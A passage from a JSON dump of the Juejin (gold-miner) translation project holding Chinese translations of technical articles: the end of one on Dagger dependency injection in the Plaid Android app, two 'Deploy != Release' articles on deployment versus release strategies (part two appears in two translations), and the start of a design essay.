依赖图中](https://cdn-images-1.medium.com/max/2000/1*VpO72oXxUIoraT_Abj_eoA.png)\n\n更具体的是，Plaid 中组件规划图看起来像这样。\n\n![Plaid 的组件规划图](https://cdn-images-1.medium.com/max/2000/1*Ol8Cff81iw5JmqXWWnQ35A.png)\n\n每个 DFM 都有它自己的组件，以组件所在的功能模块命名。`app` 模块中的 `HomeComponent` 组件就是如此。\n\n还有一个包含共享依赖项的组件，它位于 `core` 库中并被称作 `CoreComponent`。`CoreComponent` 背后的主要思想是提供可被整个应用使用的对象。它结合了一些 Dagger 模块，这些模块位于 `core` 库并可以在整个应用中复用。\n\n此外，由于依赖图具有方向性，因此只能通过以下方式共享 Dagger 组件：\nDFM 图可以从 application 模块来访问 Dagger 组件。application 模块可以从它依赖的库中访问组件，但方向反过来则不行。\n\n## 跨模块边界共享组件\n\n为了共享 Dagger 组件，它们需要被整个应用访问到。在 Plaid 中我们决定使用 Application 类来让我们的 `CoreComponent` 变得可访问。\n\n```\nclass PlaidApplication : Application() {\n\n  private val coreComponent: CoreComponent by lazy {\n    DaggerCoreComponent\n      .builder()\n      .markdownModule(MarkdownModule(resources.displayMetrics))\n      .build()\n  }\n\n  companion object {\n\n    @JvmStatic fun coreComponent(context: Context) =\n      (context.applicationContext as PlaidApplication).coreComponent\n  }\n}\n```\n\n被实例化的 CoreComponent 组件现在可以从应用中任何具有 context 的地方来访问，通过调用 PlaidApplication.coreComponent(context) 的方式。\n\n使用一个扩展函数可以使 this 更好地访问：\n\n```\nfun Activity.coreComponent() = PlaidApplication.coreComponent(this)\n```\n\n## 组件中的组件\n\n为了把 `CoreComponent` 包含到另一个组件中，有必要在组件创建时提供它。让我们看一下在 [SearchComponent](https://github.com/nickbutcher/plaid/blob/master/search/src/main/java/io/plaidapp/search/dagger/SearchComponent.kt)` 中是如何做到的：\n\n```\n@Component(modules = [...], dependencies = [CoreComponent::class])\ninterface SearchComponent {\n\n  @Component.Builder\n  interface Builder {\n\n    fun coreComponent(coreComponent: CoreComponent): Builder\n    // modules\n  }\n}\n```\n\n在生成的 `DaggerSearchComponent` 做初始化时我们像这样设置了 `CoreComponent`：\n\n```\nDaggerSearchComponent.builder()\n  .coreComponent(activity.coreComponent())\n  // modules\n  .build()\n.inject(activity)\n```\n\n这里的技巧是把 `CoreComponent` 设置为 `SearchComponent` 的一个依赖：\n\n```\n@Component(\n    modules = [SearchModule::class],\n    dependencies = [CoreComponent::class]\n)\ninterface SearchComponent : BaseActivityComponent<SearchActivity>\n```\n\n`CoreComponent` 是 `SearchComponent` 的一个依赖。当 `CoreComponent` 像上面那样被引用为 `SearchComponent` 的一个组件依赖时，所有的 `CoreComponent` 方法可以在 `SearchComponent` 中使用，或者在其他 Dagger 组件中使用，就好像他们变成注解 `@Provides` 标记的方法。\n\n![组件依赖与它们各自为 SearchActivity 提供实现方法的模块（绿色）](https://cdn-images-1.medium.com/max/2000/1*EQ12g7x545uJfb6Y0KjjUw.png)\n\n这样做的一个好处是：在功能图中无需重复 `@Modules` ，却可以通过 `CoreComponent` 或其他与之绑定的模块来透明地提供出去。\n\n例如，`CoreDataModule` 绑定在 `CoreComponent` 中，并提供 `Retrofit` 等。`Retrofit` 实例现在可以被任何与 `CoreComponent` 合并的组件访问到。\n\n## 下一步要做什么\n\n读完这篇文章，你可以看到模块化你的应用需要把依赖注入考虑进去。引入的功能模块边界通过分离的依赖图反映在依赖注入中。意识到这个限制可有助于为共享组件找到合适的位置。\n\n你可以深入到代码中来查看我们如何使用 Dagger 解决 Plaid 中的依赖注入问题。\n\n[`CoreComponent`](https://github.com/nickbutcher/plaid/blob/master/core/src/main/java/io/plaidapp/core/dagger/CoreComponent.kt) 是一个好的阅读开端，[`AboutComponent`](https://github.com/nickbutcher/plaid/blob/master/about/src/main/java/io/plaidapp/about/dagger/AboutComponent.kt) 也是，因为它没有太多的外部依赖。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/deploy-not-equal-release-part-one.md",
    "content": "> * 原文地址：[Deploy != Release (Part 1): The difference between deploy and release and why it matters.](https://blog.turbinelabs.io/deploy-not-equal-release-part-one-4724bc1e726b)\n> * 原文作者：[Art Gillespie](https://blog.turbinelabs.io/@artgillespie?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/deploy-not-equal-release-part-one.md](https://github.com/xitu/gold-miner/blob/master/TODO1/deploy-not-equal-release-part-one.md)\n> * 译者：[stormluke](https://github.com/stormluke)\n> * 校对者：[MechanicianW](https://github.com/MechanicianW)、[ALVINYEH](https://github.com/ALVINYEH)\n\n# 部署 != 发布（第一部分）\n\n## 部署与发布的区别，以及为什么这很重要\n\n问：「最新版本部署了吗？」\n\n答：「我在生产环境里部署了 gif 动图支持。」\n\n问：「就是说 gif 动图支持已经发布啦？」\n\n答：「Gif 动图的发布版本已经部署了。」\n\n问：「……」\n\n我曾在很多公司工作过，在这些公司中「部署（deploy，动词）」、「部署物（deployment，名词）」、「上线（ship）」和「发布（release）」都是随意地使用，甚至可以互换使用。作为一个行业，我们在规范使用这些术语方面做得还不够，尽管我们在过去的十多年里已经从根本上改进了运维实践和工具。在 [Turbine Labs](https://turbinelabs.io) 中，我们使用了「上线」、「部署」、「发布」和「回滚（rollback）」的精确定义，并花了大量的时间来思考当你把「发布」作为上线过程的一个独立阶段时，世界是什么样子的。在这篇文章的第一部分，我会分享这些术语的定义，描述一些常见的「部署 == 发布」的实践，并且解释为什么这样做的抗风险性很差。在第二部分，我会描述当「部署」和「发布」被视为软件上线周期的不同阶段时的一些非常强大的风险缓释技术。\n\n### 上线\n\n**上线**指你的团队从源码管理库中获取服务代码某个**版本**的快照，并用它处理线上流量的过程。我认为整个上线过程由四个不同的专门的小流程组成：构建（build）、测试、部署和发布。得益于云基础架构、容器、编配框架的技术进步以及流程改进，如 [twelve-factor](https://12factor.net/)、[持续集成](https://martinfowler.com/articles/continuousIntegration.html)和[持续交付](https://martinfowler.com/bliki/ContinuousDelivery.html)，执行前三个流程（构建，测试和部署）从未如此简单。\n\n### 部署\n\n**部署**指你的团队在生产环境的基础设置中安装新版本服务代码的过程。当我们说新版软件被**部署**时，我们的意思是它正在生产环境的基础设施的某个地方运行。基础设置可以是 AWS 上的一个新启动的 EC2 实例，也可以是在数据中心的 Kubernetes 集群中的某个容器中运行的一个 Docker 容器。你软件已成功启动，通过了健康检查，并且已准备好（像你希望的那样！）来处理线上流量，但实际上可能没有收到任何流量。这是一个重要的观点，所以我会用 Medium 超棒的大引用格式来重复一遍：\n\n> **部署不需要向用户提供新版本的服务。**\n\n根据这个定义，**部署可以是几乎零风险的活动**。诚然，在部署过程中可能会出现很多问题，但是如果一个容器静默应对崩溃，并且没有用户获得 500 状态响应，那问题是否真的算是**发生**了？\n\n![](https://cdn-images-1.medium.com/max/800/1*5B2HsE8FasLrEsaoRLxBiQ.png)\n\n部署了新的版本（紫色），但未发布。已知良好的版本（绿色）仍对线上请求做出响应。\n\n### 发布\n\n当我们说服务版本**发布**时，我们的意思是它负责服务线上流量。在动词形式中，**发布**是将线上流量转移到新版本的过程。鉴于这个定义，与上线新的二进制文件有关的所有风险 —— 服务中断、愤怒的用户、[The Register](https://www.theregister.co.uk/2017/02/28/aws_is_awol_as_s3_goes_haywire) 中的刻薄内容 —— 与新软件的发布而不是部署有关。在一些公司，我听说这个上线阶段被称为**首次发布（rollout）**。这篇文章中我们将依旧使用**发布**来表述。\n\n![](https://cdn-images-1.medium.com/max/800/1*wDLGwgwtDo1h7dCWg4Qymw.png)\n\n新版本发布，响应线上请求。\n\n### 回滚\n\n迟早，很可能不久之后，你的团队就会上线一些功能有问题的服务。回滚（和它危险的、不可预测的、压力山大的兄弟 —— 前滚 roll-forward）指将线上服务退回到某个已知状态的过程，通常是重新发布最近的版本。将回滚视为另一个部署和发布流程有助于理解，唯一的区别是：\n\n* 你正在上线的版本的特征在生产环境中已知\n* 你正在时间压力下执行部署和发布过程\n* 你可能正向一个不同的环境中发布 —— 在上次失败的发布之后某些东西可能改变了（或被改变了）\n\n![](https://cdn-images-1.medium.com/max/800/0*MAapvhIhLX8oWJ25.)\n\n一个发布后回滚的例子。\n\n现在我们已经就上线、部署、发布和回滚的定义达成了共识，让我们来看看一些常见的部署和发布实践。\n\n### 原地发布（即部署 == 发布）\n\n当你的团队的上线流程涉及将新版本的软件推送到运行旧版本的服务器上并重启服务的流程时，你就是在原地发布。根据我们上面的定义，部署和发布是同时发生的：一旦新软件开始运行（部署），它就会负载旧版本的所有线上流量（发布）。此时，成功的部署就是成功的发布，失败的部署则会带来部分或整体的服务中断，一群愤怒的用户，可能还有一个气急败坏的经理。\n\n在我们所讨论的部署/发布过程中，原地发布是唯一的将**部署风险**暴露给用户的方式。如果你刚刚部署的新版本无法启动 —— 可能是因为无法找到新增的环境变量而抛出异常，也可能是有一个库依赖不满足，或者只是你今天出门时没看黄历 —— 此时并没有老版本的服务实例来负载用户请求。你的服务此时至少是部分不可用的。\n\n此外，如果有用户相关的问题或更微妙的运维问题 —— 我把它叫做**发布风险** —— 原地发布会将线上请求暴露给你已发布的所有实例。\n\n在集群环境中，您可能会首先原地发布一个实例。这种做法通常称为**金丝雀**发布，它可以减轻一些风险 —— 面临部署风险和发布风险的流量的百分比为：新服务实例的个数除以集群中的实例总数。\n\n![](https://cdn-images-1.medium.com/max/800/1*rAKFZcAMipD5HpvovIlXmA.png)\n\n一个金丝雀发布：集群中的一个主机运行新版本\n\n最后，回滚错误的原地部署可能会有问题。即使你回滚（重新发布）到旧版本，也无法保证可以恢复到以前的系统状态。与当前错误的部署一样，你的回滚部署在启动时也可能会失败。\n\n尽管其风险管理相对较差 —— 即便使用金丝雀，一些用户请求也会面临部署风险 —— 原地部署仍旧是业务中常见的方式。我认为这类的经验会导致不幸地混用「部署」和「发布」这两个术语。\n\n### 别绝望\n\n我们可以做得更好！在[这篇文章的第二部分](https://medium.com/turbine-labs/deploy-not-equal-release-part-two-acbfe402a91c)，我们会讨论分离部署和发布的策略，以及可以在复杂的发布系统上构建的一些强大工作流。\n\n**我是 [_Turbine Labs_](https://turbinelabs.io) 的一名工程师，我们正在构建 [_Houston_](https://docs.turbinelabs.io/reference/#introduction)，这个服务可以轻松构建和监控复杂的实时发布工作流程。如果你想轻松地上线更多服务，你绝对应该[联系我们](https://turbinelabs.io/contact)。我们很乐意与你交谈。**\n\n**感谢 Glen Sanford、Mark McBride、Emily Pinkerton、Brook Shelley、Sara 和 Jenn Gillespie 阅读此文的草稿。**\n\n感谢 [Glen D Sanford](https://medium.com/@9len?source=post_page)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/deploy-not-equal-release-part-two-2.md",
    "content": "> * 原文地址：[Deploy != Release (Part 2)](https://blog.turbinelabs.io/deploy-not-equal-release-part-two-acbfe402a91c)\n> * 原文作者：[Art Gillespie](https://blog.turbinelabs.io/@artgillespie?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/deploy-not-equal-release-part-two.md](https://github.com/xitu/gold-miner/blob/master/TODO1/deploy-not-equal-release-part-two.md)\n> * 译者： [lwjcjmx123](https://github.com/lwjcjmx123)\n> * 校对者：[LeviDing](https://leviding.com)\n\n# 部署 != 发布 (第二部分)\n\n## 将部署和发布解耦以降低风险，并解锁功能强大的工作流\n\n在[这系列的第一部分](https://medium.com/turbine-labs/deploy-not-equal-release-part-one-4724bc1e726b)，我解释了我们在 [Turbine Labs](https://turbinelabs.io) 上用于上线、部署、发布和回滚的定义。我解释了**部署风险**和**发布风险**之间的差异。而且我还谈到了本地发布 —— 一种常用的用于将生产请求暴露给部署风险的部署/发布策略。本文中，我将讨论解耦部署风险与发布风险的方法，并简单介绍一些功能强大的工作流来管理发布风险。\n\n### 蓝/绿部署（或部署!=发布）\n\n[蓝/绿部署](https://martinfowler.com/bliki/BlueGreenDeployment.html)涉及到在生产环境已有发布版本的同时部署新版本。你可以为每种“颜色”使用专用硬件或虚拟机，并在它们之间交替进行后续部署，也可以使用容器或像 Kubernetes 这样的容器集群来管理临时进程。无论如何，关键在于一旦部署了新的（绿色）版本，它不会立即就被发布 —— 也不会响应生产请求。这些服务仍由目前运行良好的（蓝色）版本处理。\n\n在蓝/绿部署体系中，发布通常会涉及到更改负载均衡，在添加新版本的主机之后，移除掉以前运行良好的旧版本。尽管这种方式要比本地部署好的多，它也会有一些局限性，尤其是在发布风险方面。回到正题。首先，我们可以看到你可以做到很多非常强大的事情，通过不同的步骤在部署和发布的时候\n\n#### 什么都没有\n\n如果你的部署在循环崩溃回退中挂起，或这因为数据库密钥错误且新部署的服务无法连接，你也不用承受必须要做些什么事情来挽救的压力。你的团队可以在没有任何压力的情况下诊断问题或构建另一个新版本，然后进行部署这个新版本。你可以很轻松的重复尝试，直到你部署的版本不再出现问题。与此同时,线上的已发布 版本还在照常响应生产环境的请求,并且你不必再公司博客上发布这次部署失败了的通知,换句话说,**你的部署风险基本都被掩盖了*\n\n#### 健康检查和集成测试\n\n当部署与发布被拆分时，你可以在任何生产环境流量暴露给它之前，针对新部署的版本运行自动化健康检查和集成测试。我参与过许多事后分析，其中最重要的一点是，在部署好后或者预发布的时候进行健康检查等简单的事情可以有效避免问题暴露在用户面前。\n\n![](https://cdn-images-1.medium.com/max/800/1*YcCeIx4-FrWMS63ZaVqSRQ.png)\n\n蓝/绿部署在健康检查和集成测试的时候。如果 v1.2 出现问题，客户将不会发现这些问题。\n\n#### 更细粒度的暴露发布风险\n\n由于在引入新的“绿色”主机时，你不一定需要替换现有的“蓝色”主机，所以你可以有**一些**方法来控制新版本生成流量的百分比。例如，如果你有三台运行已知良好的服务版本，你可以在负载均衡器中再混入一台“绿色”主机。现在新版本只有 25% 的流量，而不是33%，只要你不是采用替换原有“蓝色”主机的情况下。虽然这仍然是相当粗放的版本风险管理，但总比没有好。\n\n![](https://cdn-images-1.medium.com/max/800/1*7D-TdjRuzt9wGX1dcMnitg.png)\n\n当你使一个“绿色”主机可用时，暴露该版本中任何错误流量的百分比则取决于主机的总数。这里是 33%。\n\n### 持续发布\n\n正如我以上的讨论，从**部署风险**角度看，蓝/绿部署更好。但当我们考虑**发布风险**时，典型的蓝/绿设置处理版本的方式并不能为我们提供我们正在寻找的细粒度控制。如果我们同意[生产中的每个发布都是测试](https://medium.com/turbine-labs/every-release-is-a-production-test-b31d80f2bc74)（不管同意与否，它一直如此），而我们**真正**想要的是使用模式匹配规则来分割我们的生产请求，并动态分配任意百分比的流量到我们服务的任何版本。这是一个强大的概念，它是构成复杂发布工作流的基础，如内部测试、增量发布、版本回退和黑暗流量。每篇文章都分为上下两部分（即将推出！），但我在这里会大概的介绍一下他们。\n\n**内部测试**是仅向员工发布新版本服务的流行技术。通过强大的发布服务，你可以编写诸如“将内部员工流量的 50% 发送到版本为 x.x 实例”的规则。在我的职业生涯中，生产中的内部测试捕获到了许多我羞于承认的令人尴尬的错误。\n\n**增量发布**是一个过程，从发送一些小百分比生产请求到新版本服务开始，同时监视这些请求的性能 —— 错误、延迟、成功率等 —— 与之前的产品版本相比而言。当你确信新版本不会出现任何相对上一版本意外行为的时候，你可以增加百分比并重复此过程，直至到达 100%。\n\n+**回滚**是在使用持续性发布系统的时候，将生产中的请求转发到最后一个运行良好的实例。它速度快、风险低，并且像发布本身一样，可以通过细粒度方式有针对地完成。\n\n+**黑暗流量**是一种功能强大的技术。你发布的系统会复制生产请求，并将一个副本发送到你的服务运行良好的“明面”上的版本，另一个发送到新的“暗处”的版本。暴露在“明面”的版本负责实际响应用户请求。“暗处”的版本也会处理请求，但其响应会被忽略。当您需要在生产环境下测试新软件时，这非常有效。\n\n在 Turbine Labs 中，我们使用自己的产品 [Houston](https://turbinelabs.io) 来完成内部测试，增量发布、回滚，并很快进行黑暗流量。对我来说，像 Houston 这样先进的发布系统对我的日常工作来说是一种革命性改变。如此轻量级、低风险的发布，使得我可以**经常**这样做。作为一个团队，它以我没有预料到的方式提高了我们的功能发布速度和产品质量。我们将在以后的文章中更详细地介绍我们在 [Turbine Labs](https://turbinelabs.io) 的内部发布流程。\n\n### 结论\n\n在过去的五年中，软件发布领域的大部分技术和流程进展 —— 云计算、容器、编排框架、持续交付等 —— 都集中在部署上。有了这些进步，为你的服务设计和实现一个健壮的**部署**流程变得轻而易举，但设计和实现一个可以支持你服务需求的可靠**发布**流程仍然十分困难。Facebook、Twitter 和 Google 致力于设计、实现和持续维护像 Gatekeeper、TFE 和 GFE 这样成熟的发布系统。这些系统不仅在服务可靠性方面多次证明了它们的价值，还包括开发者生产、产品速度和用户体验方面。\n\n> 一个先进的发布系统不仅可以降低部署风险，还可以直接提高产品速度和用户体验。\n\n我们开始关注为各种规模的公司提供的便利的产品（[Houston](https://turbinelabs.io)、[LaunchDarkly](https://launchdarkly.com/)）和开源工具（[Envoy](https://lyft.github.io/envoy/)、[Linkerd](https://linkerd.io/)、[Traefik](https://traefik.io/)、[Istio](https://istio.io)），以及最近才向大型公司提供的发布单元和工作流。这些产品和工具使得人们可以更快速地发布功能，并且使我们有信心不会对用户体验产生负面影响。\n\n我是 [Turbine Labs](https://turbinelabs.io/) 的一名工程师，我们正在构建 [Houston](https://docs.turbinelabs.io/reference/#introduction) —— 一项使构建和监控复杂的实时发布工作流程变得非常简单的服务。如果你希望交付更多产品并且花更少的心思，那么你绝对应该[联系我们](https://turbinelabs.io/contact)！我们很乐意与你交流。\n\n感谢 Glen Sanford、Mark McBride、Emily Pinkerton、Brook Shelley、Sara 和 Jenn Gillespie 阅读本文的初稿。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/deploy-not-equal-release-part-two.md",
    "content": "> * 原文地址：[Deploy != Release (Part 2)](https://blog.turbinelabs.io/deploy-not-equal-release-part-two-acbfe402a91c)\n> * 原文作者：[Art Gillespie](https://blog.turbinelabs.io/@artgillespie?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/deploy-not-equal-release-part-two.md](https://github.com/xitu/gold-miner/blob/master/TODO1/deploy-not-equal-release-part-two.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[jasonxia23](https://github.com/jasonxia23)\n\n# 部署!=发布（第二部分）\n\n## 将部署和发布解耦以降低风险，并解锁功能强大的工作流\n\n在[这系列的第一部分](https://medium.com/turbine-labs/deploy-not-equal-release-part-one-4724bc1e726b)，我解释了我们在 [Turbine Labs](https://turbinelabs.io) 上用于上线、部署、发布和回滚的定义。我解释了**部署风险**和**发布风险**之间的差异。而且我还谈到了本地发布 —— 一种常用的用于将生产请求暴露给部署风险的部署/发布策略。本文中，我将讨论解耦部署风险与发布风险的方法，并简介用于管理发布风险的工作流。\n\n### 蓝/绿（或部署!=发布）\n\n[蓝/绿部署](https://martinfowler.com/bliki/BlueGreenDeployment.html)涉及到在生产中发布版本的同时部署服务的新版本。你可以为每种“颜色”使用专用硬件或虚拟机，并在它们之间交替进行后续部署，也可以使用容器或像 Kubernetes 这样的编排框架来管理临时进程。无论如何，关键在于一旦部署了新的（绿色）版本，它就不会被发布 —— 也不会响应生产请求。这些服务仍由目前已知的（蓝色）版本处理。\n\n蓝/绿设置中的发布通常涉及更改负载均衡器，以添加新版本的主机并删除已知运行良好版本的主机。虽然这种方法比本地发布要好得多，但它也存在一定的局限性，特别是与发布风险有关的问题。首先，我们来看看你现在可以做的一些非常强大的事情 —— 部署和发布是两个单独的步骤。\n\n#### 什么也没有\n\n如果你的部署在崩溃循环回退中挂起，或数据库密钥错误并且新部署的服务无法连接，那么你不会承受**做任何事情**的压力。你的团队可以在没有愤怒用户或执行主管的压力情况下诊断问题或构建新版本，然后进行部署。在你空闲时重复操作，直到你有一个良好的部署。与此同时，已知发布的版本继续愉快地处理生产请求，并且你不必共享公司博客上残缺部署的报告。换句话说，**你的部署风险被完全包含**。\n\n#### 健康检查和集成测试\n\n当部署与发布被拆分时，你可以在将任何流量暴露给它之前，针对新部署的版本运行自动化健康检查和集成测试。我参加了许多事后分析，其中最重要的一点是，事后部署/预发布健康检查等简单的事情可以有效防止发生面向客户的事件。\n\n![](https://cdn-images-1.medium.com/max/800/1*YcCeIx4-FrWMS63ZaVqSRQ.png)\n\n健康检查和测试蓝/绿部署。如果 v1.2 出现问题，客户不会被暴露在其中。\n\n#### 更细粒度的发布风险暴露\n\n由于在引入新的“绿色”主机时，你不一定需要替换现有的“蓝色”主机，所以你有**一些**可以控制暴露新版本生成流量的百分比。比如。如果你有三台运行已知良好的服务版本，则可以在负载均衡器中为混合主机添加一台“绿色”主机。现在只有 25% 的流量暴露新版本，而不是已暴露的 33% 的主机。这仍然是粗粒度的发布风险管理，但总比没有好。\n\n![](https://cdn-images-1.medium.com/max/800/1*7D-TdjRuzt9wGX1dcMnitg.png)\n\n当你使一个“绿色”主机可用时，暴露该版本中任何错误流量的百分比则取决于主机的总数。这里是 33%。\n\n### 持续性发布\n\n正如我以上的讨论，从**部署风险**角度看，蓝/绿部署赢了。但当我们考虑**发布风险**时，典型的蓝/绿设置处理版本的方式并不能为我们提供我们正在寻找的细粒度控制。如果我们同意[生产中的每个发布都是测试](https://medium.com/turbine-labs/every-release-is-a-production-test-b31d80f2bc74)（不管同意与否，它一直如此），而我们**真正**想要的是使用模式匹配规则来分割我们的生产请求，并动态路由任意百分比的流量到我们服务的任何版本。这是一个强大的概念，它是构成复杂发布工作流的基础，如内部测试、增量发布、回滚和黑暗流量。每篇文章都分为上下两部分（即将推出！），但我在这里会尽可能地总结它们。\n\n**内部测试**是仅向员工发布新版本服务的流行技术。通过强大的发布服务，你可以编写诸如“将内部员工流量的 50% 发送到版本为 x.x 实例”的规则。在我的职业生涯中，生产中的内部测试捕获到了了比我不愿意承认的更多令人尴尬的错误。\n\n**增量发布**是一个过程，从发送到新版本服务的一些小百分比生成请求开始，同时监视这些请求的性能 —— 错误、延迟、成功率等 —— 与之前的产品版本相比而言。当你确信新版本不会出现任何与已知良好版本相关的意外行为时，你可以增加百分比并重复此过程，直至到达 100%。\n\n**回滚**使用持续性发布系统，只是将生产中的请求路由转发到仍然运行最后一个已知良好版本的实例。它速度快、风险低，并且像发布本身一样，可以通过细粒度方式有针对地完成。\n\n**黑暗流量**是一种功能强大的技术。你发布的系统会复制生产请求，并将一个副本发送到你的服务已知的良好“轻量级”版本，另一个发送到新的“重量级”版本。“轻量级”版本负责实际响应用户请求。“重量级”版本处理请求，但其响应会被忽略。当您需要在生产负载下测试新软件时，这非常有效。\n\n在 Turbine Labs 中，我们使用自己的产品 [Houston](https://turbinelabs.io) 来完成内部测试，增量发布、回滚，并很快进行黑暗流量。对我来说，像 Houston 这样复杂的发布系统对我的日常工作来说是一种革命性改变。如此轻量级、低风险的发布，使得我可以**经常**这样做。作为一个团队，我们将在以后的文章中更详细地介绍我们在 [Turbine Labs](https://turbinelabs.io) 的内部发布流程。\n\n### 结论\n\n在过去的五年中，上线软件的大部分技术和流程进展 —— 按需云计算、容器、编排框架、持续交付等 —— 都集中在部署原语上。有了这些进步，为你的服务设计和实现一个健壮的**部署**流程变得轻而易举，但设计和实现一个可以支持你服务需求的可靠性**发布**流程仍然十分困难。Facebook、Twitter 和 Google 致力于设计、实现和持续维护像 Gatekeeper、TFE 和 GFE 这样成熟的发布系统。这些系统不仅在服务可靠性方面多次证明了它们的价值，还包括开发者生产、产品速度和用户体验方面。\n\n> 复杂的发布系统不仅可以降低部署风险，还可以直接提高产品速度和用户体验。\n\n我们开始关注为各种规模的公司提供的便利的产品（[Houston](https://turbinelabs.io)、[LaunchDarkly](https://launchdarkly.com/)）和开源工具（[Envoy](https://lyft.github.io/envoy/)、[Linkerd](https://linkerd.io/)、[Traefik](https://traefik.io/)、[Istio](https://istio.io)），以及最近才向大型公司提供的原语和工作流。这些产品和工具使得人们可以更快速地发布功能，并且使我们有信心不会对用户体验产生负面影响。\n\n我是 [Turbine Labs](https://turbinelabs.io/) 的一名工程师，我们正在构建 [Houston](https://docs.turbinelabs.io/reference/#introduction) —— 一项使构建和监控复杂的实时发布工作流程变得非常简单的服务。如果你希望交付更多并且不用担心，那么你绝对应该[联系我们](https://turbinelabs.io/contact)！我们很乐意与你交流。\n\n感谢 Glen Sanford、Mark McBride、Emily Pinkerton、Brook Shelley、Sara 和 Jenn Gillespie 阅读本文的草稿。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/design-is-not-going-to-save-the-world.md",
    "content": "> * 原文地址：[Design Won't Save the World](https://medium.com/@hairyelefante/design-is-not-going-to-save-the-world-8985870471a5)\n> * 原文作者：[Jesse Weaver](https://medium.com/@hairyelefante)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/design-is-not-going-to-save-the-world.md](https://github.com/xitu/gold-miner/blob/master/TODO1/design-is-not-going-to-save-the-world.md)\n> * 译者：[QiaoN](https://github.com/QiaoN)\n> * 校对者：[Moonliujk](https://github.com/Moonliujk), [Fengziyin1234](https://github.com/Fengziyin1234)\n\n# 设计不会拯救世界\n\n> 以人为本的设计非常适合拖把以及手机，但它不会解决社会最大的问题。\n\n![](https://cdn-images-1.medium.com/max/10944/1*xxI7UYo5-Lyb7wCth0FyOQ.jpeg)\n\n拍摄者 [Hermes Rivera](https://unsplash.com/photos/R1_ibA4oXiI?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on 